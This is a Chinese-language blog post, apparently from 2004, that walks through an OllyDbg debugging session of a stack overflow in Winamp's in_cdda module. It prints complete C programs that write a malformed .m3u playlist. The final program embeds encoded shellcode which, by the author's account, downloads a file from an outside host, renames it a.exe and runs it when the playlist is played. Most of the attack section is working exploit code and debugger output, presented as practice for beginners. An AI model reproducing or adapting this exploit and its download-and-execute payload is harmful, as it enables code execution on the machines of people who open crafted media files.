Winamp "in_cdda" 模块的调试以及SHELLCODE的编写

本文围绕WINAMP的溢出漏洞展开,介绍了该漏洞在in_cdda模块中导致缓冲区溢出的情况。通过ollydbg调试,生成畸形播放列表文件进行测试,探讨了SHELLCODE的定位和通用性问题,给出完整代码,播放文件后可执行特定操作,最后还提及了shellcode中nop指令的使用问题。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

作者:ZwelL
日期:2004.11.29
团队:shadoweyes

      上一个星期Brett Moore在BUGTRAG上面公布了WINAMP的溢出漏洞,说在in_cdda模块中存在strack溢出,受影响的系统为5.05和5.06. 后来k-otik又公布了针对该漏洞的messagbox测试,并给出了相关代码。但是在后来的测试中,发现k-otik给出的代码没有试验通过。于是对该漏洞进行了一些调试。发现了一些问题。
      我们先来看一下存在问题的部分:Winamp在打开播放列表文件(.m3u),并处理.cda后辍格式时会调用in_cdda.dll进行处理。但是cdda库只能存储有限个字节(k-otik在Windows spanish XP Pro上测试的结果是20字节,而在中文版的windows2003 server中是12字节),从而导致缓冲区溢出。
      用ollydbg进行调试,先用一个程序生成一个畸形的播放列表文件:
#include <stdio.h>
#include <windows.h>

#define HEADER "#EXTM3U/n"

char shellcode[]=
"C://1234567890ab1234.cda";

int main(int argc, char* argv[])
{
    FILE *fp;
    char *sc=(char *)malloc(sizeof(shellcode)+1);
    if (sc == NULL)
    {
        printf ("malloc error/n");
        return -1;
    }

    memset(sc,'/0',sizeof(sc));
    memcpy(sc, shellcode, sizeof(shellcode) );

    fp = fopen ("test.m3u","w+");
    if (!fp)
    {
        printf (" error opening file./n");
        return -1;
    }

    fwrite (HEADER, 1, strlen (HEADER), fp);
    fwrite (sc , 1, strlen(sc) , fp);
    fclose (fp);

    return 0;

}
///

用ollydbg打开winamp,再打开生成的文件播放,ollydbg会停在10009BD8处
10009BD8   884C04 30        MOV BYTE PTR SS:[ESP+EAX+30],CL
当跳过该处继续执行时,会出现执行异常:
Access violation when executing [38373635]
也就是说5678的位置就是将要跳转执行的位置。这个我们就可以控制了。有一点要注意,在实际播放过程中,winamp会自己处理第一个异常(不会报错),在第二个异常发生时才会执行我们的SHELLCODE。

现在要做的就是SHELLCODE的定位问题,这里给出相关数据:
in_cdda:
基址=10000000
大小=00031000
入口=1000CE1A
数据断(.data)偏移: 00054000

先开始填充我们的SHELLCODE,然后打开并播放该播放列表,当ollydbg第一次停下时,我们到in_cdda的领空搜索我们填充的数据。
这里面不同系统不同版本之间相差很大,比方说在2003中:
5.02版本:10023543
5.05版本:10024561
所以要达到shellcode的通用性的话,在这中间要填充大量的/x90,(后面发现还是不可行,因为有字节数量的限制)。

在调试过程中,发现去掉.cda这几个字节,加上c:/1234XXXX在内我们只能填充254个字节,这对shellcode的要求就相对比较高了。(在下面给出的溢出程序中,前面我是使用 http://zwell.3322.org/a.exe,谁知道硬是超出了字节限制,没办法,只好将程序名改成a.a,刚好可以执行,^_^).

下面给出完整的生成畸形播放列表文件的代码:
#include <stdio.h>
#include <windows.h>


#define HEADER "#EXTM3U/n"

char shellcode[]=
"C://1234"
"/x43/x35/x02/x10"
"/xeb/x0e/x5b/x4b/x33/xc9/xb1/xf1/x80/x34/x0b/x88/xe2/xfa/xeb/x05"
"/xe8/xed/xff/xff/xff"
"/x61/x2c/x88/x88/x88/xd7/xec/x29/xb8/x88/x88/x88/x03/xc8/x84/x03"
"/xf8/x94/x25/x03/xe0/x80/x03/x7f/xe2/x8c/xd1/x60/xcc/x88/x88/x88"
"/x6a/x71/xe0/xe7/xe6/x88/x88/xe0/xfd/xfa/xe4/xe5/xdc/x77/x9e/x03"
"/x60/x60/xa6/x88/x88/x88/x0b/x64/xa8/x03/x54/xe2/xa8/xdb/x77/xde"
"/x8c/x4f/x8c/x8b/xd4/xe9/xa6/xed/x4f/xcc/x8b/x8c/xf0/xed/x88/x88"
"/xbb/x48/xd8/xd8/xdb/xdf/xd8/x77/xde/x98/x03/x54/xd8/xdb/x77/xde"
"/x80/x77/xde/x84/xd9/xde/x03/xfd/xb4/x03/xfc/xa6/xf0/x8b/x7d/xde"
"/x03/xfe/xa8/x8b/x7d/xbb/x41/xc1/xc9/x25/x8b/x4d/xbb/x53/x87/x36"
"/x98/xb2/x5e/xfc/x80/x49/x43/x85/x8b/x52/xc8/x63/x79/xb3/x97/xfd"
"/x6f/xd6/x03/xd6/xac/x8b/x55/xee/x03/x84/xc3/x03/xd6/x94/x8b/x55"
"/x03/x8c/x03/x8b/x4d/x23/xd6/xd1/x4b/x60/xdf/x77/x77/x77/x06/xc6"
"/x86/x64/x49/xf1/x6d/x30/x10/x76/x02/x86/xf6/x50/x6a/xfb/xbe/x92"
"/xa7/xf8/xe0/xfc/xfc/xf8/xb2/xa7/xa7/xf2/xff/xed/xe4/xe4/xa6/xbb"
"/xbb/xba/xba/xa6/xe7/xfa/xef/xa7/xe9/xa6/xe9/x88/x90"
".cda";

int main(int argc, char* argv[])
{
    FILE *fp;
    char *sc=(char *)malloc(sizeof(shellcode)+1);

    printf ("winamp 5.x m3u parsing poc - advisorie by Brett Moore/n");
    printf ("Author:ZwelL/tDate:11.29/n");
    printf ("Thx to k-otik/n");
    printf ("Tested on Winamp 5.02, Windows 2003 Server/n/n");
    if (sc == NULL)
    {
        printf ("malloc error/n");
        return -1;
    }

    memset(sc,'/0',sizeof(sc));
    memcpy(sc, shellcode, sizeof(shellcode) );

    fp = fopen ("test.m3u","w+");
    if (!fp)
    {
        printf (" error opening file./n");
        return -1;
    }

    fwrite (HEADER, 1, strlen (HEADER), fp);
    fwrite (sc , 1, strlen(sc) , fp);
    fclose (fp);

    printf ("file test.m3u created./n");
    return 0;
}

在播放生成的播放列表文件后,将会下载 http://zwell.3322.org/a.a并改名为a.exe然后执行,执行结果为一弹出对话框:Winamp Buffer overflow testing.
最后还有一个问题,在Shellcode最后,我用了/x90,理论上来讲是没必要的,但是实际上如果不用这个nop指令的话,shellcode就不会执行,好像是把"."字符给搞掉了...哪位知道的话,请说明一下。^_^

文章技术含量==0,只希望给初学者练练手。。。 ;-)
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值